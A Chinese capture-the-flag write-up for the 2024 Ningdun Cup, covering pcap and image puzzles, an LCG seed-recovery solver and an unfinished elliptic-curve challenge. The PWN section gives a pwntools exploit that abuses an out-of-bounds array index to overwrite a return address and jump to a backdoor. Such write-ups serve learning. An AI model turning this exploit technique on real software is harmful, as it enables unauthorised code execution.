2024年宁盾杯
宁盾杯-WP
一、MISC
1、YSKM
打开附件,pcap包

分析组成部分,均为FTP数据

TCP会话就2个

直接跟入TCP,发现为登陆创建目录结束


取出目录名数据拼接解码,解码失败

观察分析前两位可能为编号,取最后一位字符拼接解码成功
DASCTF{Y0u_Sh0u1d_KNOW_M3}

2、哇海贼王
解压,2个压缩包1张图片

图片打开发现尾端异常,疑似解压密码

MV9DUkNfSVNfMl9GVU5OWV82NjYjCg==
解码得
1_CRC_IS_2_FUNNY_666#
使用该密码解压flag1.zip,成功得到flag.zip
根据提示使用crc暴破


获取key,解密flag2.zip

拼图得flag

REFTQ1RGezkxY2VkZjl2N2Q5ODI4MTA5YzkwZjIyZWMwMTViYWJlfQ==

DASCTF{91cedf9v7d9828109c90f22ec015babe}
二、CRYPTO
1、EdRSA(TODO)
椭圆曲线加密
#sagemath
from Crypto.Util.number import *
from secrets import flag
def add(P, Q):
(x1, y1) = P
(x2, y2) = Q
x3 = (x1*y2 + y1*x2) * inverse(1 + d*x1*x2*y1*y2, p) % p
y3 = (y1*y2 - a*x1*x2) * inverse(1 - d*x1*x2*y1*y2, p) % p
return (x3, y3)
def mul(x, P):
Q = (0, 1)
while x > 0:
if x % 2 == 1:
Q = add(Q, P)
P = add(P, P)
x = x >> 1
return Q
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
gx=bytes_to_long(flag)
PR.<y>=PolynomialRing(Zmod(p))
f=(d*gx^2-1)*y^2+(1-a*gx^2)
gy=int(f.roots()[0][0])
assert (a*gx^2+gy^2)%p==(1+d*gx^2*gy^2)%p
G=(gx,gy)
e=0x10001 #65537
print("eG = {}".format(mul(e, G)))
#eG = (602246821311345089174443402780402388933602410138142480089649941718527311147, 17625197557740535449294773567986004828160284887369041337984750097736030549853)
2、BabyLCG
第一次遇到LCG算法,先学习。
$$
X_{n+1}=(aX_n + b)\quad mod \quad m
$$
LCG(linear congruential generator)线性同余算法,是一种产生伪随机数的方法。
线性同余法最重要的是定义了三个整数,乘数 a、增量 b和模数 m,其中a,b,m是产生器设定的常数。
为了方便理解,我打个比方
假设现在有随机数X1=1234,乘数a=2,增量b=3,模数m=1000
那么下一个随机数X2=(2*1234+3)%1000=2471%1000=471
————————————————
版权声明:本文为CSDN博主「小健健健」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/superprintf/article/details/108964563
解题用到的公式:
| 目的 | 公式 |
|---|---|
| Xn+1反推出Xn | Xn=(a-1 (Xn+1 - b))%m |
| 求a | a=((Xn+2-Xn+1)(Xn+1-Xn)-1)%m |
| 求b | b=(Xn+1 - aXn)%m |
| 求m | tn=Xn+1-Xn,m=gcd((tn+1tn-1 - tntn) , (tntn-2 - tn-1tn-1)) |
具体六种题型详见原文
好叻,现在来做题
from secret import flag
from random import choice
from Crypto.Util.number import *
from base64 import *
base = choice([1, 2, 3])
if base == 1:
flag = bytes_to_long(b16encode(flag))
elif base == 2:
flag = bytes_to_long(b32encode(flag))
else:
flag = bytes_to_long(b64encode(flag))
class LCG:
def __init__(self, seed, multiplier, increment, modulus):
self.state = seed
self.multiplier = multiplier
self.increment = increment
self.modulus = modulus
def up(self):
self.state = (self.state * self.multiplier + self.increment) % self.modulus
return self.state
LcG = LCG(flag, getPrime(512), getPrime(512), getPrime(512))
gift = []
for i in range(10):
gift.append(LcG.up())
print('gift = ' + str(gift[7:]))
print('modulus = ' + str(LcG.modulus))
'''
gift = [6998668913539720854586318078964097924269535810376945153454874762880079122855229214946631470660390590416643009737549611992701041036474370166645418280901007,
1892495848465417621576404191173925036164429140753793974334011134456947671358112732280576451200645683850307514019481657914071929753218355720294738264191434,
4484145280982945455195043055386171233045034368064549769546029757634338455428186964514780286626949054244061700559656648067211088700781715028531671487463280]
modulus = 10450107588012697221920913365783869685974004783055148990692823980665238902913056762076796149418379728342781425496729735242364725136682283797430781849299753
'''
很明显,已知m,output[7],output[8],output[9],求flag
根据LCG原理,如果output[0]比作Xn+1,flag就是Xn
$$
X_n=(a^{-1}(X_{n+1} - b)) \quad % \quad m
$$
由此可以知晓解题思路为通过output[7],output[8],output[9]求解a,b
通过a,b,m,反推8次获得flag
from Crypto.Util.number import long_to_bytes
import base64
import re
import binascii
m = 10450107588012697221920913365783869685974004783055148990692823980665238902913056762076796149418379728342781425496729735242364725136682283797430781849299753
output = [6998668913539720854586318078964097924269535810376945153454874762880079122855229214946631470660390590416643009737549611992701041036474370166645418280901007,
1892495848465417621576404191173925036164429140753793974334011134456947671358112732280576451200645683850307514019481657914071929753218355720294738264191434,
4484145280982945455195043055386171233045034368064549769546029757634338455428186964514780286626949054244061700559656648067211088700781715028531671487463280]
for i in range(8):
MMI = lambda A, n, s=1, t=0, N=0: (n < 2 and t % N or MMI(n, A % n, t, s - A // n * t, N or n), -1)[n < 1] # 逆元计算
a = (output[2] - output[1]) * MMI((output[1] - output[0]), m) % m
ani = MMI(a, m)
b = (output[1] - a * output[0]) % m
seed = (ani * (output[0] - b)) % m
output.insert(0, seed)
encoded_data = long_to_bytes(output[0])
for format in ["b64", "b32", "b16"]:
try:
decoded_data = getattr(base64, format + "decode")(encoded_data)
if re.findall(b'CTF', decoded_data):
print(f"Format: {format}, Decoded Data: {decoded_data}")
except (binascii.Error,TypeError):
pass
#Format: b32, Decoded Data: b'DASCTF{e906dca275f9815e1599e4f8e3d8b9bf}'

三、REVERSE
1、rrrrs(TODO)
四、PWN
1、arrary_index_bank(TODO)
实际上也是2023羊城杯决赛的题
数组越界
-7的位置上面存在函数返回地址
越界覆盖成后门地址
注意:直接覆盖成后门地址会因为对齐出问题所以应该跳过push命令以后
exp
```python from pwn import * context.arch = 'amd64' def gd(): gdb.attach(p) pause() p = process("./pwn") #p = remote('node4.anna.nssctf.cn',28658) p.sendline(b'1') p.sendline(b'-1') p.recvuntil(b'accounts[-1] = ') elf_base = int(p.recv(len('93915009242150'),16)) - 210 - 0x1327 - 0x2d shell_addr = elf_base + 0x1315 print(hex(elf_base)) p.sendline(b'2') p.sendline(str(-0x8000000000000000 + 7)) p.sendline('{:d}'.format(shell_addr).encode()) p.sendline(b'3') p.interactive() ```https://blog.csdn.net/A13837377363/article/details/137777175

浙公网安备 33010602011771号